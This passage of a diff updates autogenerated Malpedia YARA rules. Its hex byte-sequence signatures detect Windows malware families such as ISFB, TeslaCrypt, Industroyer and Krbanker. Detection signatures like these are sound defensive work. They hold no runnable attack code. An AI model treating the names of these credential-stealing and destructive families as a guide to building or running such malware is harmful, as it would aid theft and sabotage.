-		7 of them and filesize <2220032
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Hesperbot_Auto : FILE
+rule MALPEDIA_Win_Krbanker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a7df8c05-0ba7-5df5-beac-3b2d7fa2a54e"
+		id = "236e4eb3-f9a9-5a5c-939d-2dd344c94ac6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hesperbot_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.krbanker_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "791429e92dde914e6ba42c9451f8338c991a26d1b1d12ebf3b674c1fb1ca0de1"
+		logic_hash = "d1369d0e33548d319048c3c036e2e47c22a922a80b7ada061139a11ddd9f8b91"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -149992,32 +157027,32 @@ rule MALPEDIA_Win_Hesperbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33f0 8b442440 0b442438 33cf 23442448 8b7c2444 8b5c2440 }
-		$sequence_1 = { f60602 740e 8bc6 e8???????? 85c0 7403 8326fd }
-		$sequence_2 = { 85f6 7454 817d0818040000 724b 57 8b3e }
-		$sequence_3 = { 59 59 85c0 741e ff7510 8b450c 8d4ddc }
-		$sequence_4 = { 8d45ec b975382414 46 e8???????? 8d45ec 6a10 50 }
-		$sequence_5 = { 03f3 837f1800 7639 8b0e 03cb e8???????? 3b4508 }
-		$sequence_6 = { 8b01 eb0b 8b5008 3b54240c }
-		$sequence_7 = { c9 c3 64a130000000 c3 55 8bec 83ec48 }
-		$sequence_8 = { 56 33f6 85c0 741a 0fb71471 83fa41 720c }
-		$sequence_9 = { 7308 e8???????? 33d2 42 }
+		$sequence_0 = { 83c404 58 8945dc 837ddc00 }
+		$sequence_1 = { 83c404 58 8945fc b8???????? 50 }
+		$sequence_2 = { 6801000000 bb40010000 e8???????? 83c410 8945c8 6801010080 6a00 }
+		$sequence_3 = { 0faf03 ebf5 8bc8 c3 55 8bec 83c4f4 }
+		$sequence_4 = { 75a4 dd442410 e8???????? 8ad8 }
+		$sequence_5 = { 7762 7415 3d04000080 7417 3d01010080 }
+		$sequence_6 = { bb40010000 e8???????? 83c410 8945cc ff75cc ff75d0 }
+		$sequence_7 = { 8a5c2410 8ac3 5e 5b c3 8b542410 83ec0c }
+		$sequence_8 = { 8b5dfc 83c304 895df8 8965f4 ff7514 }
+		$sequence_9 = { 03d8 895dd4 8b5df8 e8???????? }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <1826816
 }
-rule MALPEDIA_Win_Heloag_Auto : FILE
+rule MALPEDIA_Win_Httpdropper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ef07a0f3-faff-581a-a00e-f3d94c2f2e27"
+		id = "eb6cb470-4fa5-55f1-aaf4-34eabe7782e1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.heloag_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.httpdropper_auto.yar#L1-L165"
 		license_url = "N/A"
-		logic_hash = "d41534ff803a8c13a09a17ccbef4333268f3c2d9e67aea8ce8ca3bb7d4a205eb"
+		logic_hash = "c6973c071283bf0dc986d288edaa8567196f172f5da7a23c655925f94d3c03cb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150031,38 +157066,38 @@ rule MALPEDIA_Win_Heloag_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66ab aa 83c9ff 8bfe 33c0 }
-		$sequence_1 = { 8bf7 8bfa 8a15???????? c1e902 f3a5 8bc8 }
-		$sequence_2 = { 8d4dbc 51 ffd7 8b45c4 b919000000 }
-		$sequence_3 = { 8b0d???????? 51 e8???????? 6a14 e8???????? 8bf0 83c408 }
-		$sequence_4 = { f3a4 a2???????? a2???????? a3???????? }
-		$sequence_5 = { 7cc4 8b45fc 8b0d???????? 40 }
-		$sequence_6 = { 6a00 6a00 ffd0 33c9 a3???????? 85c0 0f95c1 }
-		$sequence_7 = { 8d8dacfdffff 68???????? 51 e8???????? 8b55b4 83c41c 66c745b80200 }
-		$sequence_8 = { 8b4e0c 3bcd 8b07 89442410 7464 }
-		$sequence_9 = { 894b0c 8a48ff fec1 8848ff eb3c 6a01 55 }
-		$sequence_10 = { 8b4108 50 e8???????? 6a01 }
-		$sequence_11 = { 85c0 7505 a1???????? 8b4c242c }
-		$sequence_12 = { 51 53 68???????? 8d4c2420 ff15???????? }
-		$sequence_13 = { 8a442413 6a00 8bce 8806 ff15???????? }
-		$sequence_14 = { 8b11 8bcf 52 6a00 50 ff15???????? }
-		$sequence_15 = { a1???????? 894304 8b5608 895308 8b4e0c 894b0c }
+		$sequence_0 = { 8d4c243c 51 8d54241c 52 53 }
+		$sequence_1 = { 51 6a00 6a00 68???????? 52 c745f404000000 }
+		$sequence_2 = { 7506 c60100 49 ebec 8bc3 }
+		$sequence_3 = { e8???????? 6804010000 8d95edfdffff 6a00 52 c685ecfdffff00 }
+		$sequence_4 = { 7414 57 c6470300 e8???????? 83c404 }
+		$sequence_5 = { 51 8d95ecf8ffff 68???????? 52 e8???????? 8d85f4fdffff }
+		$sequence_6 = { 6802000080 ff15???????? 8b85d8fbffff 8d8ddcfbffff 51 }
+		$sequence_7 = { c685d4f4ffff00 e8???????? 57 68ff030000 }
+		$sequence_8 = { 33c0 ba01000000 f2ae 448bc2 48f7d1 48ffc9 }
+		$sequence_9 = { 48c7c102000080 4889442438 48897c2430 c74424283f000f00 897c2420 }
+		$sequence_10 = { 33d2 41b804010000 c68424f000000000 e8???????? 488d15520f0200 488d8c24f0000000 }
+		$sequence_11 = { 488bfb 488d73ff f2ae 48f7d1 48ffc9 }
+		$sequence_12 = { 0fb7cd 4889442428 6689742428 4889442430 ff15???????? 488bcf }
+		$sequence_13 = { e8???????? 488d8d81040000 33d2 41b87f0c0000 }
+		$sequence_14 = { c1e808 418bd1 4032c7 4a0fbebc35da020000 81e2fdff0000 }
+		$sequence_15 = { 488d4df0 e8???????? b801000000 e9???????? }
 
 	condition:
-		7 of them and filesize <401408
+		7 of them and filesize <524288
 }
-rule MALPEDIA_Win_Teslacrypt_Auto : FILE
+rule MALPEDIA_Win_Unidentified_041_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cf4cf463-c704-58da-bdf6-218fd6a96530"
+		id = "54c40e17-80e5-57a5-babe-281dfc0f14df"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.teslacrypt_auto.yar#L1-L177"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_041_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "204f6818406ce562647f2b4540c54737aa88569de9afd450b681fd9a49a46e00"
+		logic_hash = "72336cc9bc2b4e7b40dbb912cf40721cd5c8d54310aa5ce8f7ef42d8a402b398"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -150076,40 +157111,34 @@ rule MALPEDIA_Win_Teslacrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 31f7 897d24 31f9 894d28 31ca 89552c 89d0 }
-		$sequence_1 = { 334534 894554 334538 894558 }
-		$sequence_2 = { 3345f8 894518 3345fc 89451c 51 52 89f2 }
-		$sequence_3 = { 0f8452030000 81ffc0000000 0f84ac010000 81ffe0000000 740a b8ffffffff }
-		$sequence_4 = { 31f7 897d44 31f9 894d48 31ca }
-		$sequence_5 = { 334538 894558 33453c 89455c 51 52 89f2 }
-		$sequence_6 = { 31f7 897d04 31f9 894d08 }
-		$sequence_7 = { 335d04 334d08 33550c 81ffa0000000 0f8456030000 }
-		$sequence_8 = { 0f842d010000 8b44243c 8b08 83f900 894c2430 741f 8b442464 }
-		$sequence_9 = { 8b4c2430 01c8 8b542474 8b742470 031406 891406 }
-		$sequence_10 = { 890c24 e8???????? 8d0dc1304b00 8b542410 894208 890c24 }
-		$sequence_11 = { 8902 83f800 894c2408 7432 8b442418 83c004 }
-		$sequence_12 = { 31c0 8b4c2414 29c8 8b54240c 21c2 01ca 89542408 }
-		$sequence_13 = { b801000000 8b4c245c 8b9180000000 8b742464 01d6 8b7c2464 8b54170c }
-		$sequence_14 = { c70100000000 c7410c00000000 c7410800000000 8b0d???????? 8b4920 8b742450 8b7a38 }
-		$sequence_15 = { 8b5120 89e6 8d7c2468 897e0c }
+		$sequence_0 = { ff761c ff7618 ff7304 e8???????? 8d45bf c645bf0d 50 }
+		$sequence_1 = { 885d9b e9???????? 391f 75c7 385e04 752e }
+		$sequence_2 = { 8b3f 8d44242c 50 53 68???????? 57 6a02 }
+		$sequence_3 = { c645fc02 8b08 52 53 50 ff5118 85c0 }
+		$sequence_4 = { eb05 be57000780 5f 8bc6 5e 5b c20400 }
+		$sequence_5 = { 85c0 7509 56 e8???????? 59 eba7 8d47ff }
+		$sequence_6 = { ff75e0 e8???????? 8b45f0 83c418 2b06 8bce c1f802 }
+		$sequence_7 = { 7430 ff7508 8bfe 33c0 ab ab ab }
+		$sequence_8 = { ff5024 85c0 0f8889040000 33c0 8dbd22fdffff 66898520fdffff ab }
+		$sequence_9 = { 8d8d54ffffff e8???????? 8bc6 e9???????? ff15???????? 50 8d8d28ffffff }
 
 	condition:
-		7 of them and filesize <1187840
+		7 of them and filesize <1097728
 }
-rule MALPEDIA_Win_Industroyer_Auto : FILE
+rule MALPEDIA_Win_Isfb_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9c6bfb9f-c466-5000-a18a-b1782556f295"
+		id = "2206addc-4ea1-5ebc-8989-ba5f49383e7b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.industroyer_auto.yar#L1-L379"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isfb_auto.yar#L1-L1623"
 		license_url = "N/A"
-		logic_hash = "10be42e3e137c59c80c36fac63f4d878185befa45cbf0b3714b0e9925e862e84"
+		logic_hash = "dcaa8c2fe85dec9e7e215d7d6083b8c053dc5e8814c7849f4addcdf0f2d4a23f"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -150121,62 +157150,212 @@ rule MALPEDIA_Win_Industroyer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 50 ff750c ff15???????? 8d45fc 50 8d45f8 }
-		$sequence_1 = { 68f4010000 ff15???????? 33c0 50 }
-		$sequence_2 = { 50 8945e0 e8???????? 8945f8 e8???????? 50 8945e4 }
-		$sequence_3 = { 6808020000 50 ff7710 ff15???????? }
-		$sequence_4 = { ff7710 6a03 56 e8???????? 83c424 894708 85c0 }
-		$sequence_5 = { ff15???????? 8bd8 8d8598fdffff 6804010000 50 68???????? ff15???????? }
-		$sequence_6 = { 6a02 50 53 68000000c0 56 c745f40c000000 895dfc }
-		$sequence_7 = { 6a4c e8???????? 8bf0 8d8510ffffff 6a4c }
-		$sequence_8 = { 8bf9 ff15???????? 3bf8 0f84bb000000 }
-		$sequence_9 = { 8b7508 ff7604 8b06 ffd0 56 e8???????? }
-		$sequence_10 = { ffd6 85c0 7431 ff35???????? }
-		$sequence_11 = { 8bd8 85db 0f849d000000 8d85d0fdffff c785d0fdffff2c020000 50 53 }
-		$sequence_12 = { 683f010f00 6a00 8d85a0f3ffff 50 6802000080 ff15???????? 85c0 }
-		$sequence_13 = { 85c0 0f85bb000000 6800020000 8d85a0fbffff 50 }
-		$sequence_14 = { bfffff0000 0f46f9 3d00005000 b900400000 }
-		$sequence_15 = { 8d8c2468020000 e8???????? 8d442418 50 ff742414 ff15???????? }
-		$sequence_16 = { eb07 8b0cc5dc084100 894de4 85c9 }
-		$sequence_17 = { 0f8501010000 c745e0e4ff4000 8b4508 8bcf }
-		$sequence_18 = { 6a0a 8854382a 8b048dd01f0210 8874382b 8b048dd01f0210 5a }
-		$sequence_19 = { 0f8580000000 8b4508 dd00 ebc6 c745e0e8ff4000 }
-		$sequence_20 = { 6689823e020000 0fb68340020000 888240020000 8d8344020000 50 e8???????? }
-		$sequence_21 = { 50 ff15???????? 6a02 ff15???????? 50 ffd6 ff770c }
-		$sequence_22 = { 0fb605???????? 88413e 0f1005???????? 0f118133010000 a1???????? 898143010000 }
-		$sequence_23 = { 83e901 740d 83e902 7521 }
-		$sequence_24 = { 660f28b820004100 660f54f0 660f5cc6 660f59f4 660f5cf2 f20f58fe }
-		$sequence_25 = { 807b0100 0f85fc000000 a840 0f85d5000000 ff35???????? ff15???????? }
-		$sequence_26 = { 89422c 0fb64330 884230 0fb64331 884231 0fb64332 }
-		$sequence_27 = { 746a ff7508 8b15???????? 51 8bcb e8???????? }
-		$sequence_28 = { 85c0 7450 6aff 56 ff15???????? }
-		$sequence_29 = { ba???????? 0f94c1 884b32 84c9 a1???????? f30f7e05???????? }
-		$sequence_30 = { 8b442418 89442440 8d44243c 50 ff15???????? 50 }
-		$sequence_31 = { ff15???????? 68???????? ff15???????? 85c0 7417 68???????? }
-		$sequence_32 = { 83c410 84c0 0f84b9010000 8b8520ffffff 8bbd1cffffff 2bc7 }
-		$sequence_33 = { 8d4dc8 ff30 e8???????? 8d4d84 83ff02 0f86a4000000 }
-		$sequence_34 = { e8???????? 6a00 56 8d8d08feffff e8???????? }
-		$sequence_35 = { 8bce 8907 53 894704 e8???????? 8b4308 }
-		$sequence_36 = { 53 8b1c85205e4400 56 6800080000 }
-		$sequence_37 = { 8945e4 8d83bc000000 50 e8???????? 6a28 e8???????? }
-		$sequence_38 = { 0fb7c1 8945f8 3905???????? 7f26 663b4df4 7320 }
-		$sequence_39 = { 33c5 8945fc 8365e000 53 8b5d0c 56 }
+		$sequence_0 = { e8???????? eb02 33c0 3bc7 741b 50 }
+		$sequence_1 = { 741b 50 33c0 e8???????? 3bc7 }
+		$sequence_2 = { ff75f0 ff75f4 6822010000 e9???????? ff7508 }
+		$sequence_3 = { 58 e8???????? 3bc7 7406 50 }
+		$sequence_4 = { 3bc7 7413 50 6a10 58 e8???????? }
+		$sequence_5 = { ff35???????? e8???????? 8bf0 3bf3 7443 6aff 68806967ff }
+		$sequence_6 = { 50 e8???????? 83c40c e8???????? 3bc7 }
+		$sequence_7 = { 6a64 ff15???????? a1???????? 85c0 7407 83ee64 }
+		$sequence_8 = { ff35???????? ff15???????? 85c0 a3???????? 7402 ffe0 c20400 }
+		$sequence_9 = { 5d 5b 59 c20400 8325????????00 6a00 68???????? }
+		$sequence_10 = { 7406 50 e8???????? 3bdf 7414 }
+		$sequence_11 = { a1???????? 85c0 751a 68???????? ff35???????? ff15???????? 85c0 }
+		$sequence_12 = { 3c05 7506 84e4 7704 3ac0 }
+		$sequence_13 = { c20400 55 8bec 83ec0c a1???????? 8365f800 }
+		$sequence_14 = { 2b55fc 8b7d10 0155fc 83451004 }
+		$sequence_15 = { 83e103 740d 51 50 ff7510 e8???????? 83c40c }
+		$sequence_16 = { 0155fc 83451004 83c004 49 8917 75e9 }
+		$sequence_17 = { 7417 8b10 2b55fc 8b7d10 }
+		$sequence_18 = { 3bc3 7512 e8???????? 3bc3 a3???????? }
+		$sequence_19 = { 895df4 0f84c7000000 56 53 }
+		$sequence_20 = { b8???????? 7505 b8???????? 53 bb60ea0000 }
+		$sequence_21 = { 68000f0000 e8???????? 8bd8 85db 895df4 0f84c7000000 }
+		$sequence_22 = { 837b240c 56 57 8b3b 897c241c 760a 8b4b20 }
+		$sequence_23 = { 894b34 8b4b24 2b4b28 894c2410 8b4b34 f6c140 }
+		$sequence_24 = { 58 e8???????? 85c0 740d 8906 83c604 }
+		$sequence_25 = { 8b442418 894110 836334f9 c7432c01000000 8b4334 }
+		$sequence_26 = { e8???????? 8b4320 897324 897328 83c40c 8974240c c6401a00 }
+		$sequence_27 = { 57 33ff 3bdf 7414 }
+		$sequence_28 = { ff35???????? 0fc8 50 a1???????? }
+		$sequence_29 = { 8a4604 2404 f6d8 1bc0 }
+		$sequence_30 = { c6400731 8b74241c 8b1e 6a00 ff37 ff15???????? 2b442414 }
+		$sequence_31 = { ff15???????? 8b442414 8b4c240c 8907 8b442418 }
+		$sequence_32 = { 83ec14 8364240400 53 8b5d0c 837b240c 56 }
+		$sequence_33 = { 2b442414 50 8b07 03442418 50 56 ff5310 }
+		$sequence_34 = { 837d0800 7408 ff7508 e8???????? 8bc7 5f 5e }
+		$sequence_35 = { 752f 8b450c 8930 eb33 }
+		$sequence_36 = { 74a3 33ff eb0b 33ff eb03 }
+		$sequence_37 = { 6a01 33db 53 ff35???????? e8???????? 8bf0 }
+		$sequence_38 = { 50 8d4508 50 53 8bc6 }
+		$sequence_39 = { 8bd1 83c128 4e 7404 3bd0 74e7 3bd0 }
+		$sequence_40 = { 488bcf c744242860ea0000 4c0f45c8 48895c2420 }
+		$sequence_41 = { 3bc8 7415 8b5210 3bd0 }
+		$sequence_42 = { 53 8bc6 e8???????? 85c0 7516 }
+		$sequence_43 = { 6a0b eb02 6a02 58 }
+		$sequence_44 = { 85ff 750e 837d0800 7408 }
+		$sequence_45 = { 488bcf ff15???????? 4c8964dd00 83c301 4885ff 4c8be7 }
+		$sequence_46 = { 498bcc ff15???????? 33db 66ba2000 }
+		$sequence_47 = { 415c 5f 5e 5d 5b c3 8b4754 }
+		$sequence_48 = { 75c4 48892e eb02 33db 488b0d???????? 885e08 }
+		$sequence_49 = { c21000 55 8bec 83ec14 a1???????? 53 }
+		$sequence_50 = { 53 b800080000 50 56 ff35???????? }
+		$sequence_51 = { e8???????? be01000000 8bc6 4883c440 415e }
+		$sequence_52 = { 33db 66ba2000 498bcc ff15???????? 4885c0 }
+		$sequence_53 = { e8???????? 85c0 742d ff75fc 6a0d }
+		$sequence_54 = { 742d ff75fc 6a0d 58 e8???????? 85c0 }
+		$sequence_55 = { ff15???????? 4885c0 488be8 7453 }
+		$sequence_56 = { 4c0f45c8 48895c2420 e8???????? 85c0 8bd8 }
+		$sequence_57 = { 51 50 57 6a01 ff75e0 68???????? e8???????? }
+		$sequence_58 = { ff15???????? bb01000000 498bcc eb07 83c301 488d4801 66ba2000 }
+		$sequence_59 = { 8bd5 488bcf bb57000000 e8???????? }
+		$sequence_60 = { e8???????? 3bc3 740f 8b35???????? 50 83c604 }
+		$sequence_61 = { a810 ff750c 7535 68???????? ff75f8 }
+		$sequence_62 = { ff75f8 ffd6 8b4df4 66c7015c00 }
+		$sequence_63 = { 8945e0 e8???????? 85c0 0f84dc000000 8b45e0 8d4de0 3bc1 }
+		$sequence_64 = { 33db 53 ff35???????? c745f408000000 ff15???????? 3bc3 8945f8 }
+		$sequence_65 = { 6641b85c00 33d2 488bcd ff15???????? }
+		$sequence_66 = { 50 83c604 e8???????? 3bfb }
+		$sequence_67 = { b90e010000 41b800000100 4889442420 e8???????? e9???????? }
+		$sequence_68 = { 6a01 e8???????? 85db 7423 8b0d???????? }
+		$sequence_69 = { 50 e8???????? 3bfb 7414 }
+		$sequence_70 = { 72c1 eb0c bb7f000000 eb05 bb7e000000 }
+		$sequence_71 = { 33d2 ff15???????? 488bdf 8bf7 483bdf }
+		$sequence_72 = { 4883c608 83fd05 72c1 eb0c }
+		$sequence_73 = { 3bc3 8945f4 741a ff750c 668918 68???????? }
+		$sequence_74 = { 50 8bd7 e8???????? eb02 33c0 3bc3 7413 }
+		$sequence_75 = { a840 0f84e2000000 8b7334 8d442418 50 8d442410 50 }
+		$sequence_76 = { 8b7508 e8???????? 33f6 3975fc }
+		$sequence_77 = { ff7510 57 ff750c 53 e8???????? 3bfe 740e }
+		$sequence_78 = { 0f8544010000 8b472c a801 742d ff37 e8???????? 85c0 }
+		$sequence_79 = { e8???????? 3bfe 740e 57 56 ff35???????? ff15???????? }
+		$sequence_80 = { ff5214 8bf7 8bfe e8???????? 5f 5e }
+		$sequence_81 = { 5b 8be5 5d c20800 8b4330 a804 0f8451ffffff }
+		$sequence_82 = { c744242000010000 ff15???????? 4883f8ff 488bf8 7442 }
+		$sequence_83 = { ff15???????? 53 56 ff35???????? ff15???????? 5b 5f }
+		$sequence_84 = { 3975fc 7410 ff75fc 56 ff35???????? ff15???????? 53 }
+		$sequence_85 = { 83bc248800000000 4c8b442440 488b542448 894c2430 }
+		$sequence_86 = { 752e 53 e8???????? 6a01 6a01 }
+		$sequence_87 = { 56 ff35???????? 8945f8 ff15???????? 8bd8 3bde }
+		$sequence_88 = { e8???????? 85c0 0f85d7000000 8b4604 }
+		$sequence_89 = { 7505 894720 eb0b 8b4f30 84c9 0f8992000000 }
+		$sequence_90 = { 83632800 e9???????? 8b4330 a840 0f84e2000000 8b7334 }
+		$sequence_91 = { 0f854affffff 894330 e9???????? 55 }
+		$sequence_92 = { c9 c20400 51 56 ff74240c }
+		$sequence_93 = { 4803df 410fb64101 33d2 488d0cc3 }
+		$sequence_94 = { 85d2 4d8bf1 458bf8 8bc2 }
+		$sequence_95 = { e8???????? 8d45fc 50 8b4508 e8???????? }
+		$sequence_96 = { 50 57 e8???????? e9???????? 68???????? }
+		$sequence_97 = { ff15???????? 488bcf 48870d???????? 483bcf }
+		$sequence_98 = { 33db 895d08 eb03 8b5d08 }
+		$sequence_99 = { 488d0cc3 48890d???????? 410fb64103 488d0cc3 }
+		$sequence_100 = { ff15???????? 4885db 740c 4c8b0d???????? e9???????? }
+		$sequence_101 = { c3 418bd8 4803df 410fb64101 }
+		$sequence_102 = { e8???????? 85c0 7507 33db 895d08 }
+		$sequence_103 = { 488bce ff15???????? 488b0d???????? 33d2 4c63c0 }
+		$sequence_104 = { 6a00 ff35???????? ff15???????? 33db 6a01 }
+		$sequence_105 = { 8a4b1c 488b4558 4c8b4d30 4c8b4510 }
+		$sequence_106 = { 448be8 418b4310 41394308 410f474308 }
+		$sequence_107 = { 488d0cc3 48890d???????? 410fb64102 488d0cc3 }
+		$sequence_108 = { 33d2 ff15???????? 483bc3 4c8be8 }
+		$sequence_109 = { 33d2 498bcc 498bfd e8???????? 493bc5 7405 }
+		$sequence_110 = { 5b c3 a1???????? 83c040 50 ff15???????? eb08 }
+		$sequence_111 = { 8b3d???????? 56 ffd7 53 56 }
+		$sequence_112 = { e8???????? 0945fc 47 83c304 3b3e 72dc 8b45fc }
+		$sequence_113 = { c9 c20400 53 56 8bf0 8a06 }
+		$sequence_114 = { 8bf1 05fefeffff 33db 33c9 }
+		$sequence_115 = { 8b02 43 8acb d3c0 33c6 33442410 8bf0 }
+		$sequence_116 = { ff15???????? 8ac3 5b c9 c20400 53 }
+		$sequence_117 = { 8bf0 8932 83c204 ff4c240c 75e6 5e 5b }
+		$sequence_118 = { 4533c9 4889442428 215c2420 4533c0 }
+		$sequence_119 = { 50 8d442430 50 8d442428 50 8d442428 }
+		$sequence_120 = { 480f45f2 832700 458be0 bb08000000 }
+		$sequence_121 = { ff15???????? 4c8d4c2450 4c8d442458 8d5001 488bce e8???????? 85c0 }
+		$sequence_122 = { ff15???????? 4883f8ff 4c8be0 0f8583000000 488b0d???????? 4d8bc5 }
+		$sequence_123 = { e9???????? 33c9 bb26040000 48870d???????? }
+		$sequence_124 = { ff15???????? 49bb00c0692ac9000000 488bcf 4c019c24d8010000 ff15???????? 6641b85c00 33d2 }
+		$sequence_125 = { 83c701 e9???????? 488b8424c8010000 498bcc bb01000000 4c8928 }
+		$sequence_126 = { ff15???????? 488d542440 488bcd ff15???????? 4883f8ff }
+		$sequence_127 = { 4c8bc7 33d2 ff15???????? 33ff 4885ff }
+		$sequence_128 = { 488bd6 ff15???????? eb14 488b0d???????? 4c8bc7 33d2 }
+		$sequence_129 = { 6a00 ff35???????? ffd3 8bd8 85db 7476 }
+		$sequence_130 = { 41b905000000 488bd8 ff15???????? 488bcb }
+		$sequence_131 = { 4c8be8 0f841c010000 448b05???????? 33d2 488bc8 4c33c7 e8???????? }
+		$sequence_132 = { 7416 a1???????? 83c004 50 be???????? }
+		$sequence_133 = { 498bcf ff15???????? 448bf0 488bce ff15???????? }
+		$sequence_134 = { 895df4 895df0 c745f857000000 bf19010000 }
+		$sequence_135 = { 7520 41390424 741a 498d4c2401 }
+		$sequence_136 = { 488b0d???????? 448bc0 8bd8 33d2 4983c001 }
+		$sequence_137 = { a1???????? 25efff0000 0bc2 e9???????? }
+		$sequence_138 = { 4c63c0 33d2 4983c00c ff15???????? }
+		$sequence_139 = { 215c2420 4533c9 4533c0 33d2 ff15???????? 85c0 7511 }
+		$sequence_140 = { 6a03 8935???????? 8935???????? 8935???????? }
+		$sequence_141 = { e9???????? 488bcb ff15???????? a810 }
+		$sequence_142 = { 803f2a 750b 4883c701 83c3ff }
+		$sequence_143 = { 41be01000000 33c9 418bd6 ff15???????? }
+		$sequence_144 = { 53 56 8bf1 05fefeffff }
+		$sequence_145 = { 57 4154 4155 4156 4883ec50 488bf1 }
+		$sequence_146 = { 5e 33c0 c9 c20400 55 8bec 51 }
+		$sequence_147 = { 4889040f 4883c708 492bf6 75db }
+		$sequence_148 = { 8bc6 e8???????? 8b06 8b08 57 ff7510 }
+		$sequence_149 = { 750a 488bcf e8???????? 8bd8 488b0d???????? 4c8bc7 }
+		$sequence_150 = { 5f c20400 55 8bec 83e4f8 81ec9c000000 }
+		$sequence_151 = { 488d542438 488bcb e8???????? eb02 }
+		$sequence_152 = { 8bc7 e8???????? 8d4618 8b08 50 51 }
+		$sequence_153 = { 6a20 40 50 ffd6 }
+		$sequence_154 = { 488bd3 ff15???????? 488b8c2428020000 8bf0 ff15???????? }
+		$sequence_155 = { 7417 4863461c 2b6e1c 4c03e8 488b4610 48894718 }
+		$sequence_156 = { 21442428 488b8c2428020000 488364242000 448d4803 }
+		$sequence_157 = { 21b42410020000 eb0d ff15???????? 89842410020000 }
+		$sequence_158 = { 488bcb ff15???????? 8bc8 ff15???????? 21b42410020000 }
+		$sequence_159 = { 4885c9 7405 e8???????? 4883c428 c3 488d82204a0000 488982284a0000 }
+		$sequence_160 = { 418bcd e8???????? 8b842410020000 4c8d9c24f0010000 }
+		$sequence_161 = { 488b15???????? 4c8d842428020000 48c7c101000080 ff15???????? }
+		$sequence_162 = { e8???????? 5e 5f c9 c3 51 53 }
+		$sequence_163 = { 50 57 6a01 ff7508 ffd6 85c0 742b }
+		$sequence_164 = { 448bcf 4533c0 e8???????? 483bc3 488905???????? 0f84dc000000 }
+		$sequence_165 = { e8???????? 488b0d???????? 4c8bc3 33d2 ff15???????? 488b0d???????? 4c8bc7 }
+		$sequence_166 = { 4c8d40cc 33d2 33c9 e8???????? 85c0 0f8561010000 }
+		$sequence_167 = { 7415 397b44 7510 488b0b e8???????? 85c0 0f859b000000 }
+		$sequence_168 = { ffc1 807c043000 7531 8bd3 2bd1 8917 }
+		$sequence_169 = { 84c0 0f89a3000000 8b434c a804 7415 397b44 7510 }
+		$sequence_170 = { 7505 217b3c eb0b 8b434c 84c0 0f89a3000000 8b434c }
+		$sequence_171 = { 85c0 0f8561010000 8b4348 a801 742c }
+		$sequence_172 = { 742c 488b0b e8???????? 85c0 0f85e8000000 488b4608 488b0e }
+		$sequence_173 = { 85c0 0f859b000000 4863533c 488b4608 }
+		$sequence_174 = { ba10000000 488bc8 e8???????? 48898424e0010000 4885c0 }
+		$sequence_175 = { 4c8d442470 488d542440 e8???????? 8bd8 85c0 }
+		$sequence_176 = { 33d2 468d44385f ff15???????? 4c8bf0 }
+		$sequence_177 = { 488bf8 4885c0 7427 488d542420 b901020000 ff15???????? 85c0 }
+		$sequence_178 = { 4c89642448 ff15???????? 8bd8 83f8ff }
+		$sequence_179 = { 488bc8 458bf9 33ff e8???????? 4c8be8 4885c0 7508 }
+		$sequence_180 = { 8bd8 85c0 0f85f3010000 4c8b842418020000 8d5808 488d8c24b0000000 4d85c0 }
+		$sequence_181 = { 448d4256 ff15???????? 4c8be0 4885c0 0f8405010000 ff15???????? }
+		$sequence_182 = { 90 57 51 8b742420 8b7c241c 8b4c2434 }
+		$sequence_183 = { 56 57 51 90 8b742428 }
+		$sequence_184 = { 8b5508 035510 8b3a 83c204 }
